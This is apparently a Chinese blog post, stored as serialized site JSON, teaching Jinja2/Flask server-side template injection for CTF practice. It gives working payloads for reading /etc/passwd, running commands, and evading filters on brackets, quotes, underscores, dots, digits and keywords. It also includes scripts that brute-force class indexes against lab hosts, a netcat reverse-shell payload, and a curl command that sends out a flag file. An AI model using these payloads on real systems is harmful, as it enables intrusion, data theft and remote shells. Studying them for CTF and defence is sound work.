[{"data":1,"prerenderedAt":868},["ShallowReactive",2],{"content:\u002F2026\u002Fssti":3,"surround:\u002F2026\u002Fssti":857},{"id":4,"title":5,"body":6,"categories":834,"date":836,"description":837,"draft":838,"extension":839,"image":840,"meta":841,"navigation":843,"path":844,"permalink":845,"published":845,"readingTime":846,"recommend":845,"references":845,"seo":851,"sitemap":852,"stem":853,"tags":854,"type":855,"updated":836,"__hash__":856},"content\u002Fposts\u002F2026\u002FSSTI 漏洞.md","SSTI 漏洞",{"type":7,"value":8,"toc":788},"minimark",[9,14,30,34,37,42,45,55,59,66,81,100,104,107,158,173,176,184,190,194,199,214,219,222,228,232,237,244,247,253,259,263,266,276,281,284,290,295,299,305,310,314,320,325,329,336,347,353,359,366,381,387,390,396,403,412,414,420,436,442,449,458,461,467,476,482,489,500,506,508,514,521,531,537,547,553,557,572,578,591,595,611,625,631,647,653,662,668,672,676,682,688,692,698,704,708,713,719,723,727,732,736,779,782],[10,11,13],"h2",{"id":12},"ssti-漏洞介绍","SSTI 漏洞介绍",[15,16,17,18,22,23,22,26,29],"p",{},"SSTI（Server-Side Template Injection）是一种服务器端模板注入漏洞，发生在应用程序使用模板引擎渲染用户输入时未能正确过滤或转义用户提供的内容。比如在",[19,20,21],"code",{"code":21},"python的flask","、",[19,24,25],{"code":25},"php的tp",[19,27,28],{"code":28},"java的spring","等框架中都可能存在。",[10,31,33],{"id":32},"jinja2","Jinja2",[15,35,36],{},"python 常见的模板引擎主要有 Jinja2 、Mako 、Tornado 、Django Template 等，这里先用 Jinja2 模版进行学习。",[38,39,41],"h3",{"id":40},"_1-python-继承关系和魔术方法","1.  Python  继承关系和魔术方法",[15,43,44],{},"在 Python 中，一切类的父子关系的顶端都是 object 类。这里用一个例子学习。",[46,47,53],"pre",{"className":48,"code":50,"language":51,"meta":52},[49],"language-python","class A:pass\nclass B(A):pass\nclass C(B):pass\nclass D(B):pass\nc = C()\n\n# 在这个例子中 B 继承 A 类，C 和 D 继承 B 类。\n\n# 魔术方法\n__class__  查找当前属性的所属对象\n__base__  沿着父子类关系向上查找一个\n__bases__  查找当前类的所有父类(有些类同时继承多个类)\n__mro__  查找当前类的所有继承的父类\n__subclasses__()  查找父类下的所有子类\n__init__  初始化对象方法，同时如果返回wrapper，那么不是普通 Python 函数，一般没有 __globals__\n__globals__  以字典形式返回当前对象全部全局变量\n__builtins__  提供对Python的所有内置标识符的直接访问\npopen()  用于启动一个外部进程并读取它输出的方法，可以用read()读取\n\n","python","",[19,54,50],{"__ignoreMap":52},[38,56,58],{"id":57},"_2-python-flask-介绍","2.  Python  Flask  介绍",[15,60,61,62,65],{},"这里主要介绍一下 Flask 框架如何通过 ",[19,63,64],{"code":64},"request"," 对象。读取 Post 和 Get 中的参数。",[15,67,68,69,72,73,76,77,80],{},"读取 Get  ，对于 ",[19,70,71],{"code":71},"url?id=999"," 去读取参数 id ，可以使用 ",[19,74,75],{"code":75},"request.args.get('id')"," 或者 ",[19,78,79],{"code":79},"request.args['id']"," 。",[15,82,83,84,87,88,91,92,95,96,99],{},"读取 Post ，对于 form 表单的形式，",[19,85,86],{"code":86},"username = admin"," 可以使用 ",[19,89,90],{"code":90},"request.form.get('username')"," ；对于 json 的形式，",[19,93,94],{"code":94},"{\"username\":\"admin\",}"," 可以用 ",[19,97,98],{"code":98},"data = request.json   username = data['username']","。",[38,101,103],{"id":102},"_3-jinja2-模版介绍","3.  Jinja2  模版介绍",[15,105,106],{},"Jinja2 模版基础语法有三种。",[108,109,110,124],"table",{},[111,112,113],"thead",{},[114,115,116,121],"tr",{},[117,118,120],"th",{"align":119},"left","符号",[117,122,123],{"align":119},"作用",[125,126,127,138,148],"tbody",{},[114,128,129,135],{},[130,131,132],"td",{"align":119},[19,133,134],{"code":134},"{{ }}",[130,136,137],{"align":119},"输出变量\u002F表达式",[114,139,140,145],{},[130,141,142],{"align":119},[19,143,144],{"code":144},"{% %}",[130,146,147],{"align":119},"执行控制语句",[114,149,150,155],{},[130,151,152],{"align":119},[19,153,154],{"code":154},"{# #}",[130,156,157],{"align":119},"注释",[15,159,160,161,164,165,168,169,172],{},"对于属性访问，Jinja2 支持 ",[19,162,163],{"code":163},"user.name"," 、 ",[19,166,167],{"code":167},"user['name']"," 、",[19,170,171],{"code":171},"getattr(user,\"name\")"," 这些方式。",[15,174,175],{},"对于过滤器，这里主要介绍一些 SSTI 中可能用到的。",[15,177,178,179,183],{},"Jinja2 ",[180,181,182],"strong",{},"过滤器（filter）"," 是对模板变量进行处理的一种机制。",[46,185,188],{"className":186,"code":187,"language":51,"meta":52},[49],"# attr() 是 Jinja2 里一个用于动态获取对象属性的过滤器。\n{{user.name}}  等价  {{user|attr('name')}}\n\n# join 把列表里的多个字符串，用指定的分隔符拼成一个字符串。在 Jinja2 中，对字典进行 join 操作会提取所有的 Key 并拼成字符串。\n{{ [\"a\",\"b\",\"c\"] | join }}  a-b-c\n{{dict(oo=n,pp=i)|join}}  oopp\n\n# count length 过滤器会计算对象的长度。\n{{\"name\"|count}}  4\n\n",[19,189,187],{"__ignoreMap":52},[38,191,193],{"id":192},"_4-ssti-利用","4.  SSTI  利用",[195,196,198],"h4",{"id":197},"_1-文件读取","1.  文件读取",[15,200,201,202,205,206,209,210,213],{},"通过",[19,203,204],{"code":204},"''.__class__.__bases__[0].__subclasses__()"," 查找",[19,207,208],{"code":208},"_frozen_importlib_external.FileLoader","类的下标，然后调用",[19,211,212],{"code":212},"get_data","方法，传入参数 0 和文件路径。",[15,215,216],{},[19,217,218],{"code":218},"{{''.__class__.__bases__[0].__subclasses__()[138].get_data(0,\"\u002Fetc\u002Fpasswd\")}}",[15,220,221],{},"查找下标可以是用下面脚本。",[46,223,226],{"className":224,"code":225,"language":51,"meta":52},[49],"#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"从 subclasses 输出中找指定类的索引 — 把 dump 结果直接贴到 RAW 变量里即可\"\"\"\n\nRAW = \"\"\"\\\n...................\"\"\"\n\nTARGET = \"os._wrap_close\"   # 改成你要找的类名，不用带 class '...' 包裹\n\n# --- 下面不用动 ---\ncontent = RAW.strip()\n\n# 去掉可能的前缀（如 SSTI 回显的 \"Hello \"）\nif not content.startswith(\"[\"):\n    bracket = content.find(\"[\")\n    if bracket != -1:\n        content = content[bracket:]\n\n# 去外层 []\nif content.startswith(\"[\"):\n    content = content[1:]\nif content.endswith(\"]\"):\n    content = content[:-1]\n\n# 按 \", \" 分割\nclasses = [c.strip() for c in content.split(\", \")]\n\n# 搜目标\ntarget_full = f\"class '{TARGET}'\"\nfor i, c in enumerate(classes):\n    if c == target_full:\n        print(f\"[+] 找到 {target_full}\")\n        print(f\"    索引: {i}\")\n        print(f\"    Payload: {{}}.__class__.__base__.__subclasses__()[{i}]\")\n        break\n    elif TARGET in c:\n        print(f\"[+] 模糊匹配到包含 '{TARGET}' 的项:\")\n        print(f\"    索引 {i}: {c}\")\nelse:\n    print(f\"[-] 未精确匹配 '{TARGET}'，模糊搜索结果:\")\n    for i, c in enumerate(classes):\n        if TARGET.lower() in c.lower():\n            print(f\"    [{i}] {c}\")\n\n",[19,227,225],{"__ignoreMap":52},[195,229,231],{"id":230},"_2-命令执行","2.  命令执行",[233,234,236],"h5",{"id":235},"_1-eval","1.  eval",[15,238,239,240,243],{},"找到含有__builtins__的类，然后通过__builtins__调用",[180,241,242],{},"eval","进行命令执行。",[15,245,246],{},"这里给一个脚本去找该类，name 值是目标 url 页面填写的表单的名字。",[46,248,251],{"className":249,"code":250,"language":51,"meta":52},[49],"import requests\n\nurl = \"http:\u002F\u002Fnode5.anna.nssctf.cn:27779\u002Flevel\u002F1\"\n\nfor i in range(500):\n\n    payload = f\"{{{{().__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__['__builtins__']}}}}\"\n\n    data = {\n        \"code\": payload\n    }\n\n    print(\"testing:\", i)\n\n    try:\n        r = requests.post(url, data=data)\n\n        if \"eval\" in r.text :\n\n            print(\"FOUND\", i)\n\n    except:\n        pass\n",[19,252,250],{"__ignoreMap":52},[15,254,255,256],{},"找到后，",[19,257,258],{"code":258},"{{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"env\").read()')}}",[233,260,262],{"id":261},"_2-os","2.  os",[15,264,265],{},"直接调用 os 模块。",[15,267,268,271,272,275],{},[19,269,270],{"code":270},"lipsum  config  url_for  get_flashed_messages"," 这些一般都直接有 os 模块，可以直接调用。可以用",[19,273,274],{"code":274},"self.__dict__.TemplateReference__context.keys()"," 去查看。",[15,277,278],{},[19,279,280],{"code":280},"{{lipsum.__globals__['os'].popen('env').read()}}",[15,282,283],{},"在已加载 os 模块的其他子类中调用 os 模块。",[46,285,288],{"className":286,"code":287,"language":51,"meta":52},[49],"import requests\n\nurl = \"http:\u002F\u002Fnode5.anna.nssctf.cn:20213\u002Flevel\u002F1\"\n\nfor i in range(500):\n\n    payload = f\"{{{{().__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__}}}}\"\n\n    data = {\n        \"code\": payload\n    }\n\n    print(\"testing:\", i)\n\n    try:\n        r = requests.post(url, data=data)\n\n        if \"os.py\" in r.text :\n\n            print(\"FOUND\", i)\n\n    except:\n        pass\n",[19,289,287],{"__ignoreMap":52},[15,291,292],{},[19,293,294],{"code":294},"{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['os'].popen('env').read()}}",[233,296,298],{"id":297},"_3-subprocesspopen","3.  subprocess.Popen",[46,300,303],{"className":301,"code":302,"language":51,"meta":52},[49],"import requests\n\nurl = \"http:\u002F\u002Fnode5.anna.nssctf.cn:20213\u002Flevel\u002F1\"\n\nfor i in range(500):\n\n    payload = f\"{{{{().__class__.__bases__[0].__subclasses__()[{i}]}}}}\"\n\n    data = {\n        \"code\": payload\n    }\n\n    print(\"testing:\", i)\n\n    try:\n        r = requests.post(url, data=data)\n\n        if \"subprocess.Popen\" in r.text :\n\n            print(\"FOUND\", i)\n\n    except:\n        pass\n",[19,304,302],{"__ignoreMap":52},[15,306,307],{},[19,308,309],{"code":309},"{{().__class__.__bases__[0].__subclasses__()[294]('env',shell=True,stdout=-1).communicate()[0].strip()}}",[233,311,313],{"id":312},"_4-importlib","4.  importlib",[46,315,318],{"className":316,"code":317,"language":51,"meta":52},[49],"#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"从 subclasses 输出中找指定类的索引 — 把 dump 结果直接贴到 RAW 变量里即可\"\"\"\n\nRAW = \"\"\"\"\"\"\n\n\nTARGET = \"_frozen_importlib.BuiltinImporter\"   # 改成你要找的类名，不用带 class '...' 包裹\n\n# --- 下面不用动 ---\ncontent = RAW.strip()\n\n# 去掉可能的前缀（如 SSTI 回显的 \"Hello \"）\nif not content.startswith(\"[\"):\n    bracket = content.find(\"[\")\n    if bracket != -1:\n        content = content[bracket:]\n\n# 去外层 []\nif content.startswith(\"[\"):\n    content = content[1:]\nif content.endswith(\"]\"):\n    content = content[:-1]\n\n# 按 \", \" 分割\nclasses = [c.strip() for c in content.split(\", \")]\n\n# 搜目标\ntarget_full = f\"class '{TARGET}'\"\nfor i, c in enumerate(classes):\n    if c == target_full:\n        print(f\"[+] 找到 {target_full}\")\n        print(f\"    索引: {i}\")\n        print(f\"    Payload: {{}}.__class__.__base__.__subclasses__()[{i}]\")\n        break\n    elif TARGET in c:\n        print(f\"[+] 模糊匹配到包含 '{TARGET}' 的项:\")\n        print(f\"    索引 {i}: {c}\")\nelse:\n    print(f\"[-] 未精确匹配 '{TARGET}'，模糊搜索结果:\")\n    for i, c in enumerate(classes):\n        if TARGET.lower() in c.lower():\n            print(f\"    [{i}] {c}\")\n\n",[19,319,317],{"__ignoreMap":52},[15,321,322],{},[19,323,324],{"code":324},"{{().__class__.__bases__[0].__subclasses__()[84][\"load_module\"](\"os\").popen('env').read()}}",[38,326,328],{"id":327},"_5-过滤","5.  过滤",[195,330,332,333],{"id":331},"_1","1.  ",[19,334,335],{"code":335},"{   {",[15,337,338,339,342,343,346],{},"禁了",[19,340,341],{"code":341},"{","，可以用",[19,344,345],{"code":345},"{% print %}","等价绕过。",[46,348,351],{"className":349,"code":350,"language":51,"meta":52},[49],"{% %}可以用来声明变量，当然也可以用于循环语句和条件语句。\n\n{{ }}用于将表达式打印到模板输出\n\n{# #}表示未包含在模板输出中的注释\n\n",[19,352,350],{"__ignoreMap":52},[15,354,355,356],{},"EXP    ",[19,357,358],{"code":358},"{%print lipsum.__globals__['os'].popen('env').read()%}",[195,360,362,363],{"id":361},"_2","2.  ",[19,364,365],{"code":365},"[  ]",[15,367,338,368,342,371,22,374,22,377,380],{},[19,369,370],{"code":370},"[ ]",[19,372,373],{"code":373},"__getitem__",[19,375,376],{"code":376},"pop",[19,378,379],{"code":379},"get","等方法替换。",[46,382,385],{"className":383,"code":384,"language":51,"meta":52},[49],"dict['__builtins__']\ndict.__getitem__('__builtins__')\ndict.pop('__builtins__')\ndict.get('__builtins__')\ndict.setdefault('__builtins__')\nlist[0]\nlist.__getitem__(0)\nlist.pop(0)\n",[19,386,384],{"__ignoreMap":52},[15,388,389],{},"EXP",[46,391,394],{"className":392,"code":393,"language":51,"meta":52},[49],"{{\"\".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('env').read()}}\n{{lipsum.__globals__.pop('os').popen('env').read()}}\n",[19,395,393],{"__ignoreMap":52},[195,397,399,400],{"id":398},"_3","3.  ",[19,401,402],{"code":402},"'  \"",[15,404,338,405,408,409,411],{},[19,406,407],{"code":407},"' \"","，用 ",[19,410,64],{"code":64}," 传参绕过，把字符串放在 GET、POST、Cookie 这些位置里。",[15,413,389],{},[46,415,418],{"className":416,"code":417,"language":51,"meta":52},[49],"1.在post注入\n{{lipsum.__globals__[request.form.a1].popen(request.form.a2).read()}}\na1=os&a2=env\n2.在get注入\n{{lipsum.__globals__[request.args.a1].popen(request.args.a2).read()}}\nurl : ...?a1=os&a2=env\n",[19,419,417],{"__ignoreMap":52},[15,421,422,423,426,427,22,430,22,433,99],{},"如果 ",[19,424,425],{"code":425},"args"," 被过滤，可以换成 ",[19,428,429],{"code":429},"request.form",[19,431,432],{"code":432},"request.cookies",[19,434,435],{"code":435},"request.values",[46,437,440],{"className":438,"code":439,"language":51,"meta":52},[49],"{{url_for.__globals__[request.cookies.a].popen(request.cookies.b).read()}}\nCookie: a=os; b=env\n\n{{url_for.__globals__[request.values.a].popen(request.values.b).read()}}\nGET 或 POST: a=os&b=env\n",[19,441,439],{"__ignoreMap":52},[195,443,445,446],{"id":444},"_4-_","4.  ",[19,447,448],{"code":448},"_",[15,450,338,451,453,454,457],{},[19,452,448],{"code":448},"，可以先构造出下划线，再用 ",[19,455,456],{"code":456},"attr()"," 调属性。",[15,459,460],{},"构造获取",[46,462,465],{"className":463,"code":464,"language":51,"meta":52},[49]," (()|select|string)得到的字符串里，第 24 个字符正好就是 _ 。\n {{ ()|attr(class) }}  \n # 等同于 {{ ().__class__ }}\n \n EXP\n {% set u = (()|select|string|list).pop(24) %}{% set nss = u ~ u ~ \"globals\" ~ u ~ u %}{{ (lipsum|attr(nss)).os.popen('env').read() }}\n    \n \n",[19,466,464],{"__ignoreMap":52},[15,468,469,470,472,473,99],{},"也可以和 ",[19,471,64],{"code":64}," 一起用，直接从参数里传 ",[19,474,475],{"code":475},"__globals__",[46,477,480],{"className":478,"code":479,"language":51,"meta":52},[49],"url : ...?nss=__globals__\n{{ (lipsum|attr(request.args.nss)).os.popen('env').read() }}\n",[19,481,479],{"__ignoreMap":52},[195,483,485,486],{"id":484},"_5","5.  ",[19,487,488],{"code":488},".",[15,490,338,491,342,493,496,497,499],{},[19,492,488],{"code":488},[19,494,495],{"code":495},"[]","或者",[19,498,456],{"code":456},"过滤器绕过。",[46,501,504],{"className":502,"code":503,"language":51,"meta":52},[49],"{{\"\".__class__}}\n{{\"\"['__class__']}}\n{{\"\"|attr('__class__')}}\n",[19,505,503],{"__ignoreMap":52},[15,507,389],{},[46,509,512],{"className":510,"code":511,"language":51,"meta":52},[49],"{{\"\"['__class__']['__bases__'][0]['__subclasses__']()[133]['__init__']['__globals__']['popen']('env')['read']()}}\n{{\"\"|attr('__class__')|attr('__bases__')|attr('__getitem__')(0)|attr('__subclasses__')()|attr('__getitem__')(133)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('env')|attr('read')()}}\n",[19,513,511],{"__ignoreMap":52},[195,515,517,518],{"id":516},"_6-0-9","6.  ",[19,519,520],{"code":520},"0-9",[15,522,523,524,496,527,530],{},"禁了数字，可以用",[19,525,526],{"code":526},"count",[19,528,529],{"code":529},"length","构造数字。",[46,532,535],{"className":533,"code":534,"language":51,"meta":52},[49],"{{ ()|count }}  0\n{{ dict(e=a)|join|count }}  1\n{{ dict(ee=a)|join|count }}  2\n",[19,536,534],{"__ignoreMap":52},[15,538,539,540,543,544,546],{},"需要比较大的下标时，就把 key 写长一点，",[19,541,542],{"code":542},"join"," 取字典的 key，",[19,545,526],{"code":526}," 取长度。",[46,548,551],{"className":549,"code":550,"language":51,"meta":52},[49],"{{\"\".__class__.__bases__[()|count].__subclasses__()[(dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count)].__init__.__globals__['popen']('env').read()}}\n",[19,552,550],{"__ignoreMap":52},[195,554,556],{"id":555},"_7-关键字","7.  关键字",[15,558,338,559,22,562,22,565,22,568,571],{},[19,560,561],{"code":561},"class",[19,563,564],{"code":564},"base",[19,566,567],{"code":567},"globals",[19,569,570],{"code":570},"popen","这种关键字，可以用拼接或者反转绕过。",[46,573,576],{"className":574,"code":575,"language":51,"meta":52},[49],"{{dict(__in=a,it__=a)|join}}  # __init__\n{{lipsum['__glob'~'als__']['o'~'s']['pop'~'en']('env').read()}}\n{{lipsum['__slabolg__'|reverse]['so'|reverse]['nepop'|reverse]('vne'|reverse)['daer'|reverse]()}}\n",[19,577,575],{"__ignoreMap":52},[15,579,580,581,584,585,496,588,590],{},"如果",[19,582,583],{"code":583},"+","也被过滤，用",[19,586,587],{"code":587},"~",[19,589,542],{"code":542},"拼接。",[195,592,594],{"id":593},"_8-多重过滤","8.  多重过滤",[15,596,597,598,22,600,22,602,22,605,607,608,99],{},"遇到多个字符一起过滤时，思路就是把需要的东西全部动态构造出来：",[19,599,475],{"code":475},[19,601,373],{"code":373},[19,603,604],{"code":604},"os",[19,606,570],{"code":570},"、命令和",[19,609,610],{"code":610},"read",[15,612,613,614,22,616,22,618,22,620,22,622,624],{},"过滤了",[19,615,488],{"code":488},[19,617,495],{"code":495},[19,619,64],{"code":64},[19,621,407],{"code":407},[19,623,583],{"code":583},"时：",[46,626,629],{"className":627,"code":628,"language":51,"meta":52},[49],"{% set getitem = dict(__getitem__=a)|join %}\n{% set globals = dict(__globals__=a)|join %}\n{% set os = dict(os=a)|join %}\n{% set popen = dict(popen=a)|join %}\n{% set payload = dict(env=a)|join %}\n{% set read = dict(read=a)|join %}\n{{ lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)() }}\n",[19,630,628],{"__ignoreMap":52},[15,632,613,633,22,635,22,637,22,639,22,642,22,644,646],{},[19,634,448],{"code":448},[19,636,488],{"code":488},[19,638,520],{"code":520},[19,640,641],{"code":641},"\\",[19,643,407],{"code":407},[19,645,495],{"code":495},"和空格时，可以先构造数字、空格和下划线。",[46,648,651],{"className":649,"code":650,"language":51,"meta":52},[49],"{%set nine=dict(aaaaaaaaa=a)|join|count%}\n{%set pop=dict(pop=a)|join%}\n{%set kg=(lipsum|string|list)|attr(pop)(nine)%}\n{%set eighteen=nine+nine%}\n{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}\n{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}\n{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}\n{%set os=dict(os=a)|join%}\n{%set popen=dict(popen=a)|join%}\n{%set payload=dict(env=a)|join%}\n{%set read=dict(read=a)|join%}\n{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}\n",[19,652,650],{"__ignoreMap":52},[15,654,580,655,657,658,661],{},[19,656,583],{"code":583},"也被过滤，上面的",[19,659,660],{"code":660},"eighteen=nine+nine","可以改成直接用长度构造。",[46,663,666],{"className":664,"code":665,"language":51,"meta":52},[49],"{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}\n",[19,667,665],{"__ignoreMap":52},[38,669,671],{"id":670},"_6-无回显","6.  无回显",[195,673,675],{"id":674},"_1-反弹shell","1.  反弹shell",[46,677,680],{"className":678,"code":679,"language":51,"meta":52},[49],"import requests\n\nurl = \"http:\u002F\u002Fnode5.anna.nssctf.cn:26650\u002Flevel\u002F3\"\n\nfor i in range(500):\n\n    payload = f\"{{{{().__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__['popen']('netcat 192.168.54.100 7777 -e \u002Fbin\u002Fbash').read()}}}}\"\n\n    data = {\n        \"code\": payload\n    }\n\n    print(\"testing:\", i)\n\n    try:\n        r = requests.post(url, data=data)\n\n\texcept:\n        pass\n",[19,681,679],{"__ignoreMap":52},[15,683,684,685],{},"kali 监听相应端口。",[19,686,687],{"code":687},"nc -lvp 7777",[195,689,691],{"id":690},"_2-带外","2.  带外",[46,693,696],{"className":694,"code":695,"language":51,"meta":52},[49],"import requests\n\nurl = \"http:\u002F\u002Fnode5.anna.nssctf.cn:26650\u002Flevel\u002F3\"\n\nfor i in range(500):\n\n    payload = f\"{{{{().__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__['popen']('curl http:\u002F\u002F192.168.54.100\u002F`cat \u002Fflag`').read()}}}}\"\n\n    data = {\n        \"code\": payload\n    }\n\n    print(\"testing:\", i)\n\n    try:\n        r = requests.post(url, data=data)\n\n\n    except:\n        pass\n",[19,697,695],{"__ignoreMap":52},[15,699,700,701],{},"kali 监听，",[19,702,703],{"code":703},"python3 -m http.server 80",[195,705,707],{"id":706},"_3-静态目录","3.  静态目录",[15,709,710],{},[19,711,712],{"code":712},"{{lipsum.__globals__['os'].popen('echo \"test\" >\u002Fapp\u002Fstatic\u002F1.txt').read()}}",[15,714,715,716],{},"然后访问 ",[19,717,718],{"code":718},"\u002Fstatic\u002F1.txt",[38,720,722],{"id":721},"_7-config-文件","7.  config  文件",[195,724,726],{"id":725},"_1-无过滤","1.  无过滤",[15,728,729],{},[19,730,731],{"code":731},"{{config}}",[195,733,735],{"id":734},"_2-flask内置函数","2.   flask内置函数：",[108,737,738,747],{},[111,739,740],{},[114,741,742,745],{},[117,743,744],{},"函数",[117,746,123],{},[125,748,749,759,769],{},[114,750,751,756],{},[130,752,753],{},[19,754,755],{"code":755},"lipsum",[130,757,758],{},"可加载第三方库",[114,760,761,766],{},[130,762,763],{},[19,764,765],{"code":765},"url_for",[130,767,768],{},"可返回url路径",[114,770,771,776],{},[130,772,773],{},[19,774,775],{"code":775},"get_flashed_messages",[130,777,778],{},"可获取消息",[15,780,781],{},"使用内置函数调用 current_app 模块进而查看配置文件，current_app 可输出当前 app (即 flask )，所以可以通过内置函数获得 current_app 进而获得 config 。",[46,783,786],{"className":784,"code":785,"language":51,"meta":52},[49]," {{url_for.__globals__['current_app'].config}}\n 或者：\n {{get_flashed_messages.__globals__['current_app'].config}}\n",[19,787,785],{"__ignoreMap":52},{"title":52,"searchDepth":789,"depth":789,"links":790},4,[791,793],{"id":12,"depth":792,"text":13},2,{"id":32,"depth":792,"text":33,"children":794},[795,797,798,799,809,825,830],{"id":40,"depth":796,"text":41},3,{"id":57,"depth":796,"text":58},{"id":102,"depth":796,"text":103},{"id":192,"depth":796,"text":193,"children":800},[801,802],{"id":197,"depth":789,"text":198},{"id":230,"depth":789,"text":231,"children":803},[804,806,807,808],{"id":235,"depth":805,"text":236},5,{"id":261,"depth":805,"text":262},{"id":297,"depth":805,"text":298},{"id":312,"depth":805,"text":313},{"id":327,"depth":796,"text":328,"children":810},[811,813,815,817,819,821,823,824],{"id":331,"depth":789,"text":812},"1.  {   {",{"id":361,"depth":789,"text":814},"2.  [  ]",{"id":398,"depth":789,"text":816},"3.  '  \"",{"id":444,"depth":789,"text":818},"4.  _",{"id":484,"depth":789,"text":820},"5.  .",{"id":516,"depth":789,"text":822},"6.  0-9",{"id":555,"depth":789,"text":556},{"id":593,"depth":789,"text":594},{"id":670,"depth":796,"text":671,"children":826},[827,828,829],{"id":674,"depth":789,"text":675},{"id":690,"depth":789,"text":691},{"id":706,"depth":789,"text":707},{"id":721,"depth":796,"text":722,"children":831},[832,833],{"id":725,"depth":789,"text":726},{"id":734,"depth":789,"text":735},[835],"技术","2026-07-14 08:48:45","学习一下SSTI漏洞",false,"md","\u002F2026\u002FSSTI 漏洞\u002Fcover.jpg",{"slots":842},{},true,"\u002F2026\u002Fssti",null,{"text":847,"minutes":848,"time":849,"words":850},"10 min read",9.36,561600,1872,{"title":5,"description":837},{"loc":844},"posts\u002F2026\u002FSSTI 漏洞",[],"tech","dOqhUR-mmsSdFpCgW3yWB-mBuBJDuhEDxCsIfe4NtMs",[858,863],{"title":859,"path":860,"stem":861,"date":862,"type":855,"children":-1},"青岑CTF Web入门 WP","\u002F2026\u002Fctf-web-wp","posts\u002F2026\u002F青岑CTF Web入门 WP","2026-06-24 14:48:23",{"title":864,"path":865,"stem":866,"date":867,"type":855,"children":-1},"Python PIN 码","\u002F2026\u002Fpython-pin","posts\u002F2026\u002FPython PIN 码","2026-07-22 23:03:04",1786110316741]